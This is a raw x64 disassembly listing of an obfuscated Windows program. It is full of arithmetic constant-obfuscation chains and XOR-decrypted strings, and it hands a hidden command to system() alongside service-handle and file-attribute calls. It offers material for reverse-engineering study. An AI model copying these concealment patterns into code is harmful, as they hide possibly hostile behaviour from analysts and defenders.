mov dword [rsp + rcx + 0x6c], edx
cmp qword [rbp - 8], 0
jne 0x1400d38ab
push rax
pushf
mov eax, 0x9fe81aad
pushf
not eax
add eax, 0xe531ef6f
xor eax, 0x9b4fa517
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xd143e171
xor eax, 0x8efca886
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xdf88c40c
xor eax, 0xf13f3d6a
rol eax, 0x42
popf
pushf
not eax
add eax, 0x9e924ea5
xor eax, 0xf6b7e625
rol eax, 0xc3
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xd28f05cf
pushf
not eax
add eax, 0xa108d0a2
xor eax, 0xa7433283
rol eax, 0x37
popf
pushf
not eax
add eax, 0xaaccace2
xor eax, 0x88d80f65
rol eax, 0xea
popf
jmp 0x1400d09a0
movabs rax, 0xcd0efad943700ec6
pushf
not rax
add rax, 0x53219604
xor rax, 0x54ff9b99
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x5cf0c5e5
xor rax, 0x75c8d12b
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x70d7fc6d
xor rax, 0x42eaf0e9
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x6f86493a
xor rax, 0x53278d3f
rol rax, 0xc8
popf
mov qword [rbp + 0x100], rax
movabs rax, 0x4db185266739408f
pushf
not rax
add rax, 0x683db52e
xor rax, 0x4486ee0e
rol rax, 0x46
popf
pushf
not rax
add rax, 0x61080e4f
xor rax, 0x718b2dd0
rol rax, 0xf2
popf
mov qword [rbp + 0x108], rax
movabs rax, 0xb089aaa794ab17f5
pushf
not rax
add rax, 0x7bc99548
xor rax, 0x6f338cae
rol rax, 0xf
popf
pushf
not rax
add rax, 0x50af5876
xor rax, 0x607d4b5e
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x7b74065c
xor rax, 0x6de50318
rol rax, 0x42
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x2e2bfab3e940660b
pushf
not rax
add rax, 0x617b96f2
xor rax, 0x7ea13a09
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x619bb5ef
xor rax, 0x6df7377e
rol rax, 0xe
popf
pushf
not rax
add rax, 0x6d9d8d71
xor rax, 0x6fb25e55
rol rax, 0xcd
popf
pushf
not rax
add rax, 0x46632496
xor rax, 0x4da88a47
rol rax, 0x22
popf
mov qword [rbp + 0x118], rax
movabs rax, 0xc3de45d99f070876
pushf
not rax
add rax, 0x71d61a26
xor rax, 0x5d3544e1
rol rax, 0x72
popf
pushf
not rax
add rax, 0x50dd32c6
xor rax, 0x7a210b24
rol rax, 0xd
popf
pushf
not rax
add rax, 0x4f89a1c1
xor rax, 0x7900854f
rol rax, 0xfa
popf
pushf
not rax
add rax, 0x79d5684f
xor rax, 0x542d50bd
rol rax, 3
popf
mov qword [rbp + 0x120], rax
movabs rax, 0x34511e99d87059cc
pushf
not rax
add rax, 0x6a493546
xor rax, 0x53ec27b0
rol rax, 0x7a
popf
pushf
not rax
add rax, 0x580c9aa8
xor rax, 0x71361960
rol rax, 0x8a
popf
pushf
not rax
add rax, 0x49e1f0b2
xor rax, 0x6fcee7cb
rol rax, 0x78
popf
mov qword [rbp + 0x128], rax
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], rsi
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r15
movabs rcx, 0xe77724f0c8a03eca
pushf
not rcx
add rcx, 0x5e16e940
xor rcx, 0x7777d2d8
rol rcx, 0xca
popf
pushf
not rcx
add rcx, 0x5370d8fd
xor rcx, 0x7f973d54
rol rcx, 0xcc
popf
mov qword [rbp + 0xf0], rcx
mov qword [rbp + 0xf8], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8eaf
mov rbx, rax
jmp 0x1400d3bd2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d3bde
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x187b9fc95]
pushf
sub rdx, 0x47b97c75
popf
mov rcx, rax
jmp 0x1400d3bfa
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d4068
mov r8d, 0x14b94c09
pushf
not r8d
add r8d, 0xf82e9ef0
xor r8d, 0xfbbbbca5
rol r8d, 0x39
popf
pushf
not r8d
add r8d, 0xa5b316c3
xor r8d, 0xe7817886
rol r8d, 0x88
popf
lea rdx, [0x1b6d37fad]
pushf
sub rdx, 0x76cb3e9d
popf
lea rcx, [rsp + 0x70]
jmp 0x1400d3cae
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
push rdx
not rdx
sub rcx, rdx
pop rdx
sub rcx, 1
jmp 0x1400d3ccb
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400d3d1f
push rax
pushf
mov eax, 0xa79e3f61
pushf
not eax
add eax, 0xdf831161
xor eax, 0xbf7d07ba
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x83ebdf40
xor eax, 0x9185645d
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xd2cc61f6
xor eax, 0xa1a67bf0
rol eax, 0xde
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x10b40ca5
pushf
not eax
add eax, 0xc97ca98f
xor eax, 0xd431f692
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xf9b99fc9
xor eax, 0xac3ee62d
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xe4f854d7
xor eax, 0x95979078
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xfff70731
xor eax, 0xe638787a
rol eax, 0xfa
popf
jmp 0x1400d09a0
movabs rax, 0x45f2106e1830e8a4
pushf
not rax
add rax, 0x5819b0f6
xor rax, 0x5f64835a
rol rax, 0xf
popf
pushf
not rax
add rax, 0x7bdb6800
xor rax, 0x7cd80028
rol rax, 0xcc
popf
mov qword [rbp + 0xd0], rax
movabs rax, 0xdbb13ad9c36d9f80
pushf
not rax
add rax, 0x586a2061
xor rax, 0x4ad4b8d2
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x6050706b
xor rax, 0x6716672f
rol rax, 0x26
popf
pushf
not rax
add rax, 0x468c7c02
xor rax, 0x74cc9a90
rol rax, 0x59
popf
pushf
not rax
add rax, 0x5587bad0
xor rax, 0x619b03cf
rol rax, 0x50
popf
mov qword [rbp + 0xd8], rax
movabs rax, 0xbac7dee57a9a36fb
pushf
not rax
add rax, 0x5df3c28f
xor rax, 0x51844fb8
rol rax, 0xf5
popf
pushf
not rax
add rax, 0x479b6a4e
xor rax, 0x601b1f16
rol rax, 0x33
popf
pushf
not rax
add rax, 0x6142dcf9
xor rax, 0x4594ccd5
rol rax, 0x43
popf
mov qword [rbp + 0xe0], rax
movabs rax, 0x24d12e4b64a563c9
pushf
not rax
add rax, 0x422d123f
xor rax, 0x60ef5661
rol rax, 0x34
popf
pushf
not rax
add rax, 0x51edfc0c
xor rax, 0x7d0dc53d
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x61edb935
xor rax, 0x4cee16dc
rol rax, 0xe8
popf
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xe0], xmm1
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8eaf
mov rbx, rax
jmp 0x1400d3f31
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d3f3d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x182a38562]
pushf
sub rdx, 0x42a30542
popf
mov rcx, rax
jmp 0x1400d3f59
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.1401157af
test rax, rax
jne 0x1400d3fb4
push rax
pushf
mov eax, 0xecde7a9
pushf
not eax
add eax, 0xe8fc68cb
xor eax, 0xebb1d0a0
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xa4846055
xor eax, 0x9bf6a729
rol eax, 0x31
popf
pushf
not eax
add eax, 0x8b1076ac
xor eax, 0x919afd1a
rol eax, 0xaf
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x9142e27d
pushf
not eax
add eax, 0xcf2ce811
xor eax, 0xd2acef53
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x9e367004
xor eax, 0xcf4478f4
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xcfa6ab5e
xor eax, 0x8327d36d
rol eax, 0x31
popf
pushf
not eax
add eax, 0xd47d676b
xor eax, 0xd9a14425
rol eax, 0xbd
popf
jmp 0x1400d09a0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d402f
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
push rax
pushf
mov eax, 0xfde11b32
pushf
not eax
add eax, 0xcc97450f
xor eax, 0x857a2aaf
rol eax, 0x93
popf
pushf
not eax
add eax, 0xa39ed421
xor eax, 0x88047000
rol eax, 0x9b
popf
jmp 0x1400d09a0
movabs rax, 0xde17032caaf9bb2f
pushf
not rax
add rax, 0x70cbd8b0
xor rax, 0x49e57a3b
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x709d6747
xor rax, 0x5dedfbc4
rol rax, 0xa4
popf
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
jmp 0x1400d40d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d40d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce5a9
lea rcx, [rbp - 0x80]
jmp 0x1400d4111
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d411c
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x1400d59e5
lea rcx, [rsp + 0x78]
call fcn.1401157af
test rax, rax
jne 0x1400d41e8
push rax
pushf
mov eax, 0x3e3738ac
pushf
not eax
add eax, 0xacdc755e
xor eax, 0xd770e852
rol eax, 0x37
popf
pushf
not eax
add eax, 0xb3184e84
xor eax, 0xae1e7f25
rol eax, 0x51
popf
pushf
not eax
add eax, 0xd1095f5a
xor eax, 0xf30535ae
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xcb40ee2e
xor eax, 0xa2e7cb8c
rol eax, 0x82
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x4aa20f1b
pushf
not eax
add eax, 0xc17e0ffa
xor eax, 0xd0eb3062
rol eax, 0x16
popf
pushf
not eax
add eax, 0xde022b95
xor eax, 0x904fbe4e
rol eax, 0x81
popf
pushf
not eax
add eax, 0xb1a41e11
xor eax, 0xb6a66fb2
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xad9512e1
xor eax, 0xb97e7517
rol eax, 0xa2
popf
jmp 0x1400d09a0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d4263
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
push rax
pushf
mov eax, 0xa701b969
pushf
not eax
add eax, 0xce9fdc30
xor eax, 0x8d5ad08a
rol eax, 6
popf
pushf
not eax
add eax, 0xaeecb95c
xor eax, 0xbf407a55
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xeb263735
xor eax, 0xc0e5633e
rol eax, 0x55
popf
pushf
not eax
add eax, 0xcb5149d9
xor eax, 0x8258206b
rol eax, 0x8d
popf
jmp 0x1400d09a0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce5a9
lea rcx, [rbp - 0x80]
jmp 0x1400d42f3
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d42fe
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova r8, qword [rsp + 0x48]
movabs rdi, 0xf3eadf99a1fe0d45
pushf
not rdi
add rdi, 0x488a3892
xor rdi, 0x44ffe3a6
rol rdi, 0xee
popf
pushf
not rdi
add rdi, 0x64491c47
xor rdi, 0x5c45e126
rol rdi, 0x3f
popf
pushf
not rdi
add rdi, 0x6a06b5b5
xor rdi, 0x6f5596f8
rol rdi, 0xef
popf
pushf
not rdi
add rdi, 0x611f46c3
xor rdi, 0x55456446
rol rdi, 0x28
popf
mov qword [rsp + 0x30], rdi
movabs rbx, 0x2b58f05c14c425ab
pushf
not rbx
add rbx, 0x64b5fe6d
xor rbx, 0x4e7450a7
rol rbx, 0x18
popf
pushf
not rbx
add rbx, 0x5de1a85a
xor rbx, 0x4990f84f
rol rbx, 0x5c
popf
mov qword [rsp + 0x38], rbx
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x80]
call fcn.14010f29d
test al, al
jne 0x1400d4478
push rax
pushf
mov eax, 0x8a62d325
pushf
not eax
add eax, 0x9f678691
xor eax, 0xf1ac6cba
rol eax, 0x63
popf
pushf
not eax
add eax, 0xad458336
xor eax, 0xef95e6d1
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xb88ba3dc
xor eax, 0xe77cdeed
rol eax, 0xee
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x8b52e08e
pushf
not eax
add eax, 0x9c11452c
xor eax, 0xc5c17ee0
rol eax, 0xca
popf
pushf
not eax
add eax, 0xa4372e7f
xor eax, 0xa1ad3729
rol eax, 0xb
popf
jmp 0x1400d09a0
mov ecx, 0x6fa8ddac
pushf
not ecx
add ecx, 0x9326f777
xor ecx, 0xa746ece8
rol ecx, 0x78
popf
pushf
not ecx
add ecx, 0xb6bd13b3
xor ecx, 0x9438dd6d
rol ecx, 0x1e
popf
jmp 0x1400d44db
call qword [sym.imp.KERNEL32.dll_Sleep]
push rax
pushf
mov eax, 0x247115a1
pushf
not eax
add eax, 0xb7057a76
xor eax, 0xa44a12d8
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xc9ce65be
xor eax, 0xbea78747
rol eax, 0x6c
popf
jmp 0x1400d09a0
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
call fcn.1400c1ea6
jmp 0x1400d59e5
mov rcx, rax
jmp 0x1400d45a2
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
jmp 0x1400d45ac
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movabs rax, 0xad0fb8b1d0bcb048
pushf
not rax
add rax, 0x7dcf4c85
xor rax, 0x47ef67ec
rol rax, 0x66
popf
pushf
not rax
add rax, 0x732c7e0d
xor rax, 0x76cebd4f
rol rax, 0x3f
popf
pushf
not rax
add rax, 0x66b2949c
xor rax, 0x57128fe4
rol rax, 0xd2
popf
pushf
not rax
add rax, 0x4e49d79b
xor rax, 0x6466ca5a
rol rax, 0x3b
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0x813aba3686a2f583
pushf
not rax
add rax, 0x54d7fffe
xor rax, 0x67ffdc82
rol rax, 0xbf
popf
pushf
not rax
add rax, 0x5c451b7e
xor rax, 0x4d0d0c34
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x6a9d10aa
xor rax, 0x5886f9a8
rol rax, 0x3c
popf
pushf
not rax
add rax, 0x4ac258ef
xor rax, 0x43911e0c
rol rax, 0xdf
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xbdc757c8aee63dd6
pushf
not rax
add rax, 0x65e52d35
xor rax, 0x5a4edeee
rol rax, 0x89
popf
pushf
not rax
add rax, 0x7348e126
xor rax, 0x689d05ee
rol rax, 0x3b
popf
pushf
not rax
add rax, 0x72bb6c93
xor rax, 0x5d5db5e1
rol rax, 6
popf
pushf
not rax
add rax, 0x52219fd1
xor rax, 0x6ae801e4
rol rax, 0xcb
popf
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8eaf
lea rdx, [0x18e064a9e]
pushf
sub rdx, 0x4e05ca7e
popf
mov rcx, rax
jmp 0x1400d4773
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
jmp 0x1400d478b
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400d47c9
push rax
pushf
mov eax, 0xd9381bba
pushf
not eax
add eax, 0x864468fc
xor eax, 0xd31f7f32
rol eax, 3
popf
pushf
not eax
add eax, 0xd897ad95
xor eax, 0xe7f359f9
rol eax, 0xb2
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x6dbc6899
pushf
not eax
add eax, 0xd94ee6d3
xor eax, 0xbc84bb69
rol eax, 0x63
popf
pushf
not eax
add eax, 0xd4bae7a3
xor eax, 0xe8246365
rol eax, 0x79
popf
pushf
not eax
add eax, 0xe9de6c81
xor eax, 0xf5f63144
rol eax, 0xb9
popf
jmp 0x1400d09a0
test al, 0x10
jne 0x1400d4859
push rax
pushf
mov eax, 0x51a4fe75
pushf
not eax
add eax, 0xfc1c7c54
xor eax, 0x87670832
rol eax, 0xe
popf
pushf
not eax
add eax, 0x836750e5
xor eax, 0xc15c3e22
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xdaf5b78b
xor eax, 0xd06f759c
rol eax, 0xd2
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xa6eeaf27
pushf
not eax
add eax, 0xe65c33b3
xor eax, 0xfe589fdd
rol eax, 0x29
popf
pushf
not eax
add eax, 0xea04905c
xor eax, 0x9e43f8b1
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xc613d098
xor eax, 0xf000df7c
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x985b9a51
xor eax, 0xf01f8143
rol eax, 0x46
popf
jmp 0x1400d09a0
mov al, 0x7a
pushf
not al
add al, 0xe7
xor al, 0x5a
rol al, 0x2a
popf
pushf
not al
add al, 0x60
xor al, 0x97
rol al, 0xc
popf
jmp 0x1400d4961
xor al, al
push rax
pushf
mov eax, 0xd45561de
pushf
not eax
add eax, 0x8c6ac627
xor eax, 0xe25ad1ee
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xeeea2c6b
xor eax, 0x9f348590
rol eax, 0x1c
popf
jmp 0x1400d09a0
test al, al
jne 0x1400d49af
push rax
pushf
mov eax, 0x294e650b
pushf
not eax
add eax, 0xb6e419fa
xor eax, 0x89390d3a
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xe2c6b7a2
xor eax, 0xa86ffc64
rol eax, 0x88
popf
pushf
not eax
add eax, 0xbb01bbdd
xor eax, 0xdf3108ef
rol eax, 0xaa
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0x63b69d7e
pushf
not eax
add eax, 0xc3643535
xor eax, 0xa3b8948a
rol eax, 0x78
popf
pushf
not eax
add eax, 0xdcb6c634
xor eax, 0xf49c704d
rol eax, 8
popf
pushf
not eax
add eax, 0xeb6be3b0
xor eax, 0xd4aa6646
rol eax, 0x45
popf
jmp 0x1400d09a0
xor edx, edx
mov r8d, 0x4e591dfc
pushf
not r8d
add r8d, 0xc19ae77e
xor r8d, 0x83adc3cb
rol r8d, 0xc0
popf
pushf
not r8d
add r8d, 0x9343dad9
xor r8d, 0xdada3dd4
rol r8d, 0x42
popf
pushf
not r8d
add r8d, 0xa2e510aa
xor r8d, 0xc08c5b40
rol r8d, 0x93
popf
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.1400f6742
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rdi, [0x1849dec8e]
pushf
sub rdi, 0x44966f66
popf
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
cmp qword [rbp - 8], 0
jne 0x1400d4ade
push rax
pushf
mov eax, 0x2cac91bb
pushf
not eax
add eax, 0x9a056b1b
xor eax, 0xc4967d43
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xbe428250
xor eax, 0xa6092eb3
rol eax, 0x85
popf
jmp 0x1400d09a0
push rax
pushf
mov eax, 0xbd32fd49
pushf
not eax
add eax, 0xb4d911eb
xor eax, 0xdc8fc1b7
rol eax, 0x52
popf
pushf
not eax
add eax, 0xa0745162
xor eax, 0xce9f8a4d
rol eax, 0xea
popf
pushf
not eax
add eax, 0xeb4f3899
xor eax, 0xd476bbb8
rol eax, 0x30
popf
pushf
not eax
add eax, 0xad1407ea
xor eax, 0xcbda9904
rol eax, 0xb3
popf
jmp 0x1400d09a0
movabs rax, 0x9d459c019d5c7e6e
pushf
not rax
add rax, 0x78dd586f
xor rax, 0x4c6650a3
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x74518350
xor rax, 0x66b98d75
rol rax, 0x84
popf
pushf
not rax
add rax, 0x689b7ab5
xor rax, 0x5ddb731c
rol rax, 0xf1
popf
mov qword [rbp + 0x100], rax
movabs rax, 0xbaf67fb0efde9c2b
pushf
not rax
add rax, 0x6a956dfa
xor rax, 0x6b1a8fec
rol rax, 0xc7
popf
pushf
not rax
add rax, 0x6b12328a
xor rax, 0x687da562
rol rax, 0x4b
popf
pushf
not rax
add rax, 0x4e860c26
xor rax, 0x7d58927b
rol rax, 0x14
popf
pushf
not rax
add rax, 0x6e59c102
xor rax, 0x67079075
rol rax, 0x3d
popf
mov qword [rbp + 0x108], rax
movabs rax, 0x8dfd8f53ad2fbbbf
pushf
not rax
add rax, 0x6ba788ba
xor rax, 0x42acbb96
rol rax, 0xf5
popf
pushf
not rax
add rax, 0x572a4943
xor rax, 0x4d6a9723
rol rax, 0xe
popf
pushf
not rax
add rax, 0x5248f55e
xor rax, 0x7b36a47b
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x6472f609
xor rax, 0x463079a3
rol rax, 0x8f
popf
mov qword [rbp + 0x110], rax
movabs rax, 0xd320ca1ed1153143
pushf
not rax
add rax, 0x63be82cb
xor rax, 0x4b10c3e0
rol rax, 0xed
popf
pushf
not rax
add rax, 0x5bbd1351
xor rax, 0x76e69b82
rol rax, 0xb4
popf
mov qword [rbp + 0x118], rax
movabs rax, 0xf2619e1e0ae11c63
pushf
not rax
add rax, 0x5ef8c2e1
xor rax, 0x73552515
rol rax, 0xdc
popf
pushf
not rax
add rax, 0x4e0e5b6c
xor rax, 0x61f36b5d
rol rax, 0x2c
popf
pushf
not rax
add rax, 0x79097106
xor rax, 0x47f89464
rol rax, 0x81
popf
mov qword [rbp + 0x120], rax
movabs rax, 0x75dc2980f760054d
pushf
not rax
add rax, 0x587c4cf0
xor rax, 0x4fcd1256
rol rax, 0x38
popf
pushf
not rax
add rax, 0x64f87afa
xor rax, 0x7bf2f151
rol rax, 0xff
popf
mov qword [rbp + 0x128], rax
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], rsi
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r15
movabs rcx, 0xbef743abbbabf4fa
pushf
not rcx
add rcx, 0x6bd922ef
xor rcx, 0x761c0e98
rol rcx, 0x65
popf
pushf
not rcx
add rcx, 0x7d8ba158
xor rcx, 0x5372559c
rol rcx, 0xd7
popf
mov qword [rbp + 0xf0], rcx
mov qword [rbp + 0xf8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8eaf
mov rbx, rax
jmp 0x1400d4dfd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d4e09
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x183375e03]
pushf
sub rdx, 0x4336dde3
popf
mov rcx, rax
jmp 0x1400d4e25
